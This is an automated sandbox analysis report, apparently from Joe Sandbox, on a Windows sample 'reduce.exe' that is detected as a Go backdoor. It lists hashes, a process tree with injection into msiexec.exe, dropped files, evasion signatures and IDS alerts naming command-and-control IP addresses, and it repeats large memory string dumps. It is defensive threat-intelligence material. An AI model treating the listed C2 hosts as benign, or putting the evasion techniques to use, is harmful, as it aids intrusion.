Edit tour

Windows Analysis Report
reduce.exe

Overview

General Information

Sample name:	reduce.exe
Analysis ID:	1568776
MD5:	b0f4c61f99716127097da80d07ed6123
SHA1:	310e490a366e2d55b27417f545e4abd575fad0a3
SHA256:	fdb10dd37d214b1e9e4258e601a6b3d7a3d9615513b3e0afaad8d9cc09481087
Tags:	exeuser-smica83
Infos:

Detection

GO Backdoor

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected GO Backdoor

AI detected suspicious sample

Found Tor onion address

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Writes to foreign memory regions

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Msiexec Initiated Connection

Classification

Process Tree

System is w10x64

reduce.exe (PID: 7528 cmdline: "C:\Users\user\Desktop\reduce.exe" MD5: B0F4C61F99716127097DA80D07ED6123)

more.com (PID: 7592 cmdline: C:\Windows\SysWOW64\more.com MD5: 03805AE7E8CBC07840108F5C80CF4973)

conhost.exe (PID: 7600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 8024 cmdline: C:\Windows\SysWOW64\msiexec.exe MD5: 9D09DC1EDA745A5F87553048E57620CF)

Client32.exe (PID: 8036 cmdline: "C:\Users\user\AppData\Roaming\jion\Client32.exe" MD5: B0F4C61F99716127097DA80D07ED6123)

more.com (PID: 8060 cmdline: C:\Windows\SysWOW64\more.com MD5: 03805AE7E8CBC07840108F5C80CF4973)

conhost.exe (PID: 8068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 7204 cmdline: C:\Windows\SysWOW64\msiexec.exe MD5: 9D09DC1EDA745A5F87553048E57620CF)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: msiexec.exe PID: 8024	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security

Sigma Signatures

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 46.8.232.106, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 8024, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49741

Suricata Signatures

ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T23:24:07.286896+0100	2855536	1	A Network Trojan was detected	192.168.2.4	49763	185.121.233.152	28250	TCP

ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T23:24:36.083072+0100	2855537	1	A Network Trojan was detected	192.168.2.4	49763	185.121.233.152	28250	TCP

ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T23:24:36.469876+0100	2855538	1	A Network Trojan was detected	185.121.233.152	28250	192.168.2.4	49763	TCP

ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T23:24:07.286691+0100	2855539	1	A Network Trojan was detected	185.121.233.152	28250	192.168.2.4	49763	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\kupcq	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\nfabo	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\kupcq	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\nfabo	ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source:	Binary string: ntdll.pdb source: reduce.exe, 00000000.00000002.1717960380.0000000008094000.00000004.00000001.00020000.00000000.sdmp, reduce.exe, 00000000.00000002.1717772547.0000000007C90000.00000004.00000800.00020000.00000000.sdmp, reduce.exe, 00000000.00000002.1717514430.0000000007894000.00000004.00000020.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1990504856.0000000007863000.00000004.00000020.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1990846904.000000000816B000.00000004.00000001.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1990644776.0000000007C60000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: more.com, 00000001.00000002.2006505480.00000000044F3000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2007201023.0000000005040000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 00000007.00000002.2954644321.0000000005F60000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 00000007.00000002.2953692888.000000000541E000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2214422504.0000000004782000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2214963020.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 0000000B.00000002.2216464873.0000000004851000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000B.00000002.2217032269.00000000053B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: reduce.exe, 00000000.00000002.1717960380.0000000008094000.00000004.00000001.00020000.00000000.sdmp, reduce.exe, 00000000.00000002.1717772547.0000000007C90000.00000004.00000800.00020000.00000000.sdmp, reduce.exe, 00000000.00000002.1717514430.0000000007894000.00000004.00000020.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1990504856.0000000007863000.00000004.00000020.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1990846904.000000000816B000.00000004.00000001.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1990644776.0000000007C60000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: more.com, 00000001.00000002.2006505480.00000000044F3000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2007201023.0000000005040000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 00000007.00000002.2954644321.0000000005F60000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 00000007.00000002.2953692888.000000000541E000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2214422504.0000000004782000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2214963020.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 0000000B.00000002.2216464873.0000000004851000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000B.00000002.2217032269.00000000053B0000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855539 - Severity 1 - ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M2 : 185.121.233.152:28250 -> 192.168.2.4:49763
Source: Network traffic	Suricata IDS: 2855536 - Severity 1 - ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M1 : 192.168.2.4:49763 -> 185.121.233.152:28250
Source: Network traffic	Suricata IDS: 2855537 - Severity 1 - ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M2 : 192.168.2.4:49763 -> 185.121.233.152:28250
Source: Network traffic	Suricata IDS: 2855538 - Severity 1 - ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M1 : 185.121.233.152:28250 -> 192.168.2.4:49763

Found Tor onion address

Source: more.com, 00000001.00000002.2007610925.0000000006010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: GoneDATAPING<>1080openStat.com.bat.cmdnullbooljson'\''3125Atoiint8uintchanfunccallkind != AhomChamKawiLisuMiaoModiNewaThaiTotoDashquitermssse3avx2bmi1bmi2bitsNameTypeFrom.css.gif.htm.jpg.mjs.pdf.png.svg.xmlxn--asn1tag:false<nil>ErrorMarchAprilmonthLocal+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930defersweepschedhchansudoggscanmheaptracepanicsleepgcingusagefault[...]hostswriteclosefileshttpsimap2imap3imapspop3s:**@Rangeallowrange:path%s %q%s=%sHTTP/socksFound&"'chdirchmodLstatarray%s:%dyamuxlocal1562578125int16int32int64uint8sliceAdlamBamumBatakBuhidDograGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilSTermntohssse41sse42ssse3 (at ClassTypeAtls: Earlyparseutf-8%s%dtext/.avif.html.jpeg.json.wasm.webpRealmbad nSHA-1P-224P-256P-384P-521ECDSAupdatekilledconfigStringFormat[]bytestringSundayMondayFridayAugustminutesecondUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13sysmontimersefenceselect, not objectstatusnetdns.locallisten.onionip+netreturnsocketacceptdomaingophertelnetClosedBasic CookiecookieexpectoriginserverclosedExpectPragmasocks LockedCANCELGOAWAYPADDEDactivesocks5renameexec: remote390625uint16uint32uint64structchan<-<-chan ValueArabicBrahmiCarianChakmaCommonCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiHyphenhanguprdtscppopcntcmd/go, val LengthTypeNSTypeMXheaderAnswerGetACPX25519%w%.0wAcceptServerSTREETwindowsfloat32float64TuesdayJanuaryOctoberMUI_StdMUI_DltforcegccpuprofunknowngctraceIO waitrunningUNKNOWN:eventswsarecvwsasendconnectopenbsdlookup UpgradeReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGTrailer:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTHEADERSconsolePATHEXTrefused19531259765625invaliduintptrSwapperChanDir Value>ConvertAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutaRadicalabortedCopySidWSARecvWSASendsignal os/execruntime::ffff:nil keyanswersTypeSOATypePTRTypeTXTTypeSRVTypeOPTTypeWKSTypeALLderivedInitialExpiresSubjectutf-8''charsetSHA-224SHA-256SHA-384SHA-512#internDES-CBCEd25519MD2-RSAMD5-RSAserial:2.5.4.62.5.4.32.5.4.72.5.4.82.5.4.92.5.4.5scavengepollDescrwmutexWrwmutexRtraceBufdeadlockraceFinipanicnilcgocheck is not pointerBAD RANKruntime.reflect.net/httpgo/buildx509sha1profBlockstackpoolhchanLeafwbufSpansmSpanDeadscavtraceinittracepanicwaitchan sendpreemptedinterfacectxt != 0atomicor8tracebackcomplex64pclmulqdqmath/randrwxrwxrwxtime.Date(time.LocalnotifyListprofInsertstackLargemSpanInUseGOMAXPROCSstop traceinvalidptrschedtracesemacquiredebug callGOMEMLIMITexitThreadBad varintatomicand8float64nanfloat32nanunknown pccomplex128execerrdothttp2debugcrypto/tlsassistQueuenetpollInitreflectOffsglobalAllocmSpanManualstart traceclobberfreegccheckmarkscheddetailcgocall nilunreachablebad m valuebad timedivfloat64nan1float64nan2float64nan3float32nan2gocachehashgocachetesthttp2clienthttp
Source: msiexec.exe, 00000007.00000002.2952726390.00000000034E4000.00000002.00000001.01000000.00000000.sdmp	String found in binary or memory: GoneDATAPING<>1080openStat.com.bat.cmdnullbooljson'\''3125Atoiint8uintchanfunccallkind != AhomChamKawiLisuMiaoModiNewaThaiTotoDashquitermssse3avx2bmi1bmi2bitsNameTypeFrom.css.gif.htm.jpg.mjs.pdf.png.svg.xmlxn--asn1tag:false<nil>ErrorMarchAprilmonthLocal+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930defersweepschedhchansudoggscanmheaptracepanicsleepgcingusagefault[...]hostswriteclosefileshttpsimap2imap3imapspop3s:**@Rangeallowrange:path%s %q%s=%sHTTP/socksFound&"'chdirchmodLstatarray%s:%dyamuxlocal1562578125int16int32int64uint8sliceAdlamBamumBatakBuhidDograGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilSTermntohssse41sse42ssse3 (at ClassTypeAtls: Earlyparseutf-8%s%dtext/.avif.html.jpeg.json.wasm.webpRealmbad nSHA-1P-224P-256P-384P-521ECDSAupdatekilledconfigStringFormat[]bytestringSundayMondayFridayAugustminutesecondUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13sysmontimersefenceselect, not objectstatusnetdns.locallisten.onionip+netreturnsocketacceptdomaingophertelnetClosedBasic CookiecookieexpectoriginserverclosedExpectPragmasocks LockedCANCELGOAWAYPADDEDactivesocks5renameexec: remote390625uint16uint32uint64structchan<-<-chan ValueArabicBrahmiCarianChakmaCommonCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiHyphenhanguprdtscppopcntcmd/go, val LengthTypeNSTypeMXheaderAnswerGetACPX25519%w%.0wAcceptServerSTREETwindowsfloat32float64TuesdayJanuaryOctoberMUI_StdMUI_DltforcegccpuprofunknowngctraceIO waitrunningUNKNOWN:eventswsarecvwsasendconnectopenbsdlookup UpgradeReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGTrailer:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTHEADERSconsolePATHEXTrefused19531259765625invaliduintptrSwapperChanDir Value>ConvertAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutaRadicalabortedCopySidWSARecvWSASendsignal os/execruntime::ffff:nil keyanswersTypeSOATypePTRTypeTXTTypeSRVTypeOPTTypeWKSTypeALLderivedInitialExpiresSubjectutf-8''charsetSHA-224SHA-256SHA-384SHA-512#internDES-CBCEd25519MD2-RSAMD5-RSAserial:2.5.4.62.5.4.32.5.4.72.5.4.82.5.4.92.5.4.5scavengepollDescrwmutexWrwmutexRtraceBufdeadlockraceFinipanicnilcgocheck is not pointerBAD RANKruntime.reflect.net/httpgo/buildx509sha1profBlockstackpoolhchanLeafwbufSpansmSpanDeadscavtraceinittracepanicwaitchan sendpreemptedinterfacectxt != 0atomicor8tracebackcomplex64pclmulqdqmath/randrwxrwxrwxtime.Date(time.LocalnotifyListprofInsertstackLargemSpanInUseGOMAXPROCSstop traceinvalidptrschedtracesemacquiredebug callGOMEMLIMITexitThreadBad varintatomicand8float64nanfloat32nanunknown pccomplex128execerrdothttp2debugcrypto/tlsassistQueuenetpollInitreflectOffsglobalAllocmSpanManualstart traceclobberfreegccheckmarkscheddetailcgocall nilunreachablebad m valuebad timedivfloat64nan1float64nan2float64nan3float32nan2gocachehashgocachetesthttp2clienthttp
Source: more.com, 00000009.00000002.2215145812.0000000005C30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: GoneDATAPING<>1080openStat.com.bat.cmdnullbooljson'\''3125Atoiint8uintchanfunccallkind != AhomChamKawiLisuMiaoModiNewaThaiTotoDashquitermssse3avx2bmi1bmi2bitsNameTypeFrom.css.gif.htm.jpg.mjs.pdf.png.svg.xmlxn--asn1tag:false<nil>ErrorMarchAprilmonthLocal+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930defersweepschedhchansudoggscanmheaptracepanicsleepgcingusagefault[...]hostswriteclosefileshttpsimap2imap3imapspop3s:**@Rangeallowrange:path%s %q%s=%sHTTP/socksFound&"'chdirchmodLstatarray%s:%dyamuxlocal1562578125int16int32int64uint8sliceAdlamBamumBatakBuhidDograGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilSTermntohssse41sse42ssse3 (at ClassTypeAtls: Earlyparseutf-8%s%dtext/.avif.html.jpeg.json.wasm.webpRealmbad nSHA-1P-224P-256P-384P-521ECDSAupdatekilledconfigStringFormat[]bytestringSundayMondayFridayAugustminutesecondUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13sysmontimersefenceselect, not objectstatusnetdns.locallisten.onionip+netreturnsocketacceptdomaingophertelnetClosedBasic CookiecookieexpectoriginserverclosedExpectPragmasocks LockedCANCELGOAWAYPADDEDactivesocks5renameexec: remote390625uint16uint32uint64structchan<-<-chan ValueArabicBrahmiCarianChakmaCommonCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiHyphenhanguprdtscppopcntcmd/go, val LengthTypeNSTypeMXheaderAnswerGetACPX25519%w%.0wAcceptServerSTREETwindowsfloat32float64TuesdayJanuaryOctoberMUI_StdMUI_DltforcegccpuprofunknowngctraceIO waitrunningUNKNOWN:eventswsarecvwsasendconnectopenbsdlookup UpgradeReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGTrailer:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTHEADERSconsolePATHEXTrefused19531259765625invaliduintptrSwapperChanDir Value>ConvertAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutaRadicalabortedCopySidWSARecvWSASendsignal os/execruntime::ffff:nil keyanswersTypeSOATypePTRTypeTXTTypeSRVTypeOPTTypeWKSTypeALLderivedInitialExpiresSubjectutf-8''charsetSHA-224SHA-256SHA-384SHA-512#internDES-CBCEd25519MD2-RSAMD5-RSAserial:2.5.4.62.5.4.32.5.4.72.5.4.82.5.4.92.5.4.5scavengepollDescrwmutexWrwmutexRtraceBufdeadlockraceFinipanicnilcgocheck is not pointerBAD RANKruntime.reflect.net/httpgo/buildx509sha1profBlockstackpoolhchanLeafwbufSpansmSpanDeadscavtraceinittracepanicwaitchan sendpreemptedinterfacectxt != 0atomicor8tracebackcomplex64pclmulqdqmath/randrwxrwxrwxtime.Date(time.LocalnotifyListprofInsertstackLargemSpanInUseGOMAXPROCSstop traceinvalidptrschedtracesemacquiredebug callGOMEMLIMITexitThreadBad varintatomicand8float64nanfloat32nanunknown pccomplex128execerrdothttp2debugcrypto/tlsassistQueuenetpollInitreflectOffsglobalAllocmSpanManualstart traceclobberfreegccheckmarkscheddetailcgocall nilunreachablebad m valuebad timedivfloat64nan1float64nan2float64nan3float32nan2gocachehashgocachetesthttp2clienthttp
Source: msiexec.exe, 0000000B.00000002.2216154119.0000000002E34000.00000002.00000001.01000000.00000000.sdmp	String found in binary or memory: GoneDATAPING<>1080openStat.com.bat.cmdnullbooljson'\''3125Atoiint8uintchanfunccallkind != AhomChamKawiLisuMiaoModiNewaThaiTotoDashquitermssse3avx2bmi1bmi2bitsNameTypeFrom.css.gif.htm.jpg.mjs.pdf.png.svg.xmlxn--asn1tag:false<nil>ErrorMarchAprilmonthLocal+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930defersweepschedhchansudoggscanmheaptracepanicsleepgcingusagefault[...]hostswriteclosefileshttpsimap2imap3imapspop3s:**@Rangeallowrange:path%s %q%s=%sHTTP/socksFound&"'chdirchmodLstatarray%s:%dyamuxlocal1562578125int16int32int64uint8sliceAdlamBamumBatakBuhidDograGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilSTermntohssse41sse42ssse3 (at ClassTypeAtls: Earlyparseutf-8%s%dtext/.avif.html.jpeg.json.wasm.webpRealmbad nSHA-1P-224P-256P-384P-521ECDSAupdatekilledconfigStringFormat[]bytestringSundayMondayFridayAugustminutesecondUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13sysmontimersefenceselect, not objectstatusnetdns.locallisten.onionip+netreturnsocketacceptdomaingophertelnetClosedBasic CookiecookieexpectoriginserverclosedExpectPragmasocks LockedCANCELGOAWAYPADDEDactivesocks5renameexec: remote390625uint16uint32uint64structchan<-<-chan ValueArabicBrahmiCarianChakmaCommonCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiHyphenhanguprdtscppopcntcmd/go, val LengthTypeNSTypeMXheaderAnswerGetACPX25519%w%.0wAcceptServerSTREETwindowsfloat32float64TuesdayJanuaryOctoberMUI_StdMUI_DltforcegccpuprofunknowngctraceIO waitrunningUNKNOWN:eventswsarecvwsasendconnectopenbsdlookup UpgradeReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGTrailer:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTHEADERSconsolePATHEXTrefused19531259765625invaliduintptrSwapperChanDir Value>ConvertAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutaRadicalabortedCopySidWSARecvWSASendsignal os/execruntime::ffff:nil keyanswersTypeSOATypePTRTypeTXTTypeSRVTypeOPTTypeWKSTypeALLderivedInitialExpiresSubjectutf-8''charsetSHA-224SHA-256SHA-384SHA-512#internDES-CBCEd25519MD2-RSAMD5-RSAserial:2.5.4.62.5.4.32.5.4.72.5.4.82.5.4.92.5.4.5scavengepollDescrwmutexWrwmutexRtraceBufdeadlockraceFinipanicnilcgocheck is not pointerBAD RANKruntime.reflect.net/httpgo/buildx509sha1profBlockstackpoolhchanLeafwbufSpansmSpanDeadscavtraceinittracepanicwaitchan sendpreemptedinterfacectxt != 0atomicor8tracebackcomplex64pclmulqdqmath/randrwxrwxrwxtime.Date(time.LocalnotifyListprofInsertstackLargemSpanInUseGOMAXPROCSstop traceinvalidptrschedtracesemacquiredebug callGOMEMLIMITexitThreadBad varintatomicand8float64nanfloat32nanunknown pccomplex128execerrdothttp2debugcrypto/tlsassistQueuenetpollInitreflectOffsglobalAllocmSpanManualstart traceclobberfreegccheckmarkscheddetailcgocall nilunreachablebad m valuebad timedivfloat64nan1float64nan2float64nan3float32nan2gocachehashgocachetesthttp2clienthttp
Source: kupcq.1.dr	String found in binary or memory: GoneDATAPING<>1080openStat.com.bat.cmdnullbooljson'\''3125Atoiint8uintchanfunccallkind != AhomChamKawiLisuMiaoModiNewaThaiTotoDashquitermssse3avx2bmi1bmi2bitsNameTypeFrom.css.gif.htm.jpg.mjs.pdf.png.svg.xmlxn--asn1tag:false<nil>ErrorMarchAprilmonthLocal+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930defersweepschedhchansudoggscanmheaptracepanicsleepgcingusagefault[...]hostswriteclosefileshttpsimap2imap3imapspop3s:**@Rangeallowrange:path%s %q%s=%sHTTP/socksFound&"'chdirchmodLstatarray%s:%dyamuxlocal1562578125int16int32int64uint8sliceAdlamBamumBatakBuhidDograGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilSTermntohssse41sse42ssse3 (at ClassTypeAtls: Earlyparseutf-8%s%dtext/.avif.html.jpeg.json.wasm.webpRealmbad nSHA-1P-224P-256P-384P-521ECDSAupdatekilledconfigStringFormat[]bytestringSundayMondayFridayAugustminutesecondUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13sysmontimersefenceselect, not objectstatusnetdns.locallisten.onionip+netreturnsocketacceptdomaingophertelnetClosedBasic CookiecookieexpectoriginserverclosedExpectPragmasocks LockedCANCELGOAWAYPADDEDactivesocks5renameexec: remote390625uint16uint32uint64structchan<-<-chan ValueArabicBrahmiCarianChakmaCommonCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiHyphenhanguprdtscppopcntcmd/go, val LengthTypeNSTypeMXheaderAnswerGetACPX25519%w%.0wAcceptServerSTREETwindowsfloat32float64TuesdayJanuaryOctoberMUI_StdMUI_DltforcegccpuprofunknowngctraceIO waitrunningUNKNOWN:eventswsarecvwsasendconnectopenbsdlookup UpgradeReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGTrailer:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTHEADERSconsolePATHEXTrefused19531259765625invaliduintptrSwapperChanDir Value>ConvertAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutaRadicalabortedCopySidWSARecvWSASendsignal os/execruntime::ffff:nil keyanswersTypeSOATypePTRTypeTXTTypeSRVTypeOPTTypeWKSTypeALLderivedInitialExpiresSubjectutf-8''charsetSHA-224SHA-256SHA-384SHA-512#internDES-CBCEd25519MD2-RSAMD5-RSAserial:2.5.4.62.5.4.32.5.4.72.5.4.82.5.4.92.5.4.5scavengepollDescrwmutexWrwmutexRtraceBufdeadlockraceFinipanicnilcgocheck is not pointerBAD RANKruntime.reflect.net/httpgo/buildx509sha1profBlockstackpoolhchanLeafwbufSpansmSpanDeadscavtraceinittracepanicwaitchan sendpreemptedinterfacectxt != 0atomicor8tracebackcomplex64pclmulqdqmath/randrwxrwxrwxtime.Date(time.LocalnotifyListprofInsertstackLargemSpanInUseGOMAXPROCSstop traceinvalidptrschedtracesemacquiredebug callGOMEMLIMITexitThreadBad varintatomicand8float64nanfloat32nanunknown pccomplex128execerrdothttp2debugcrypto/tlsassistQueuenetpollInitreflectOffsglobalAllocmSpanManualstart traceclobberfreegccheckmarkscheddetailcgocall nilunreachablebad m valuebad timedivfloat64nan1float64nan2float64nan3float32nan2gocachehashgocachetesthttp2clienthttp
Source: nfabo.9.dr	String found in binary or memory: GoneDATAPING<>1080openStat.com.bat.cmdnullbooljson'\''3125Atoiint8uintchanfunccallkind != AhomChamKawiLisuMiaoModiNewaThaiTotoDashquitermssse3avx2bmi1bmi2bitsNameTypeFrom.css.gif.htm.jpg.mjs.pdf.png.svg.xmlxn--asn1tag:false<nil>ErrorMarchAprilmonthLocal+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930defersweepschedhchansudoggscanmheaptracepanicsleepgcingusagefault[...]hostswriteclosefileshttpsimap2imap3imapspop3s:**@Rangeallowrange:path%s %q%s=%sHTTP/socksFound&"'chdirchmodLstatarray%s:%dyamuxlocal1562578125int16int32int64uint8sliceAdlamBamumBatakBuhidDograGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilSTermntohssse41sse42ssse3 (at ClassTypeAtls: Earlyparseutf-8%s%dtext/.avif.html.jpeg.json.wasm.webpRealmbad nSHA-1P-224P-256P-384P-521ECDSAupdatekilledconfigStringFormat[]bytestringSundayMondayFridayAugustminutesecondUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13sysmontimersefenceselect, not objectstatusnetdns.locallisten.onionip+netreturnsocketacceptdomaingophertelnetClosedBasic CookiecookieexpectoriginserverclosedExpectPragmasocks LockedCANCELGOAWAYPADDEDactivesocks5renameexec: remote390625uint16uint32uint64structchan<-<-chan ValueArabicBrahmiCarianChakmaCommonCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiHyphenhanguprdtscppopcntcmd/go, val LengthTypeNSTypeMXheaderAnswerGetACPX25519%w%.0wAcceptServerSTREETwindowsfloat32float64TuesdayJanuaryOctoberMUI_StdMUI_DltforcegccpuprofunknowngctraceIO waitrunningUNKNOWN:eventswsarecvwsasendconnectopenbsdlookup UpgradeReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGTrailer:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTHEADERSconsolePATHEXTrefused19531259765625invaliduintptrSwapperChanDir Value>ConvertAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutaRadicalabortedCopySidWSARecvWSASendsignal os/execruntime::ffff:nil keyanswersTypeSOATypePTRTypeTXTTypeSRVTypeOPTTypeWKSTypeALLderivedInitialExpiresSubjectutf-8''charsetSHA-224SHA-256SHA-384SHA-512#internDES-CBCEd25519MD2-RSAMD5-RSAserial:2.5.4.62.5.4.32.5.4.72.5.4.82.5.4.92.5.4.5scavengepollDescrwmutexWrwmutexRtraceBufdeadlockraceFinipanicnilcgocheck is not pointerBAD RANKruntime.reflect.net/httpgo/buildx509sha1profBlockstackpoolhchanLeafwbufSpansmSpanDeadscavtraceinittracepanicwaitchan sendpreemptedinterfacectxt != 0atomicor8tracebackcomplex64pclmulqdqmath/randrwxrwxrwxtime.Date(time.LocalnotifyListprofInsertstackLargemSpanInUseGOMAXPROCSstop traceinvalidptrschedtracesemacquiredebug callGOMEMLIMITexitThreadBad varintatomicand8float64nanfloat32nanunknown pccomplex128execerrdothttp2debugcrypto/tlsassistQueuenetpollInitreflectOffsglobalAllocmSpanManualstart traceclobberfreegccheckmarkscheddetailcgocall nilunreachablebad m valuebad timedivfloat64nan1float64nan2float64nan3float32nan2gocachehashgocachetesthttp2clienthttp

Source: global traffic

TCP traffic: 192.168.2.4:49763 -> 185.121.233.152:28250

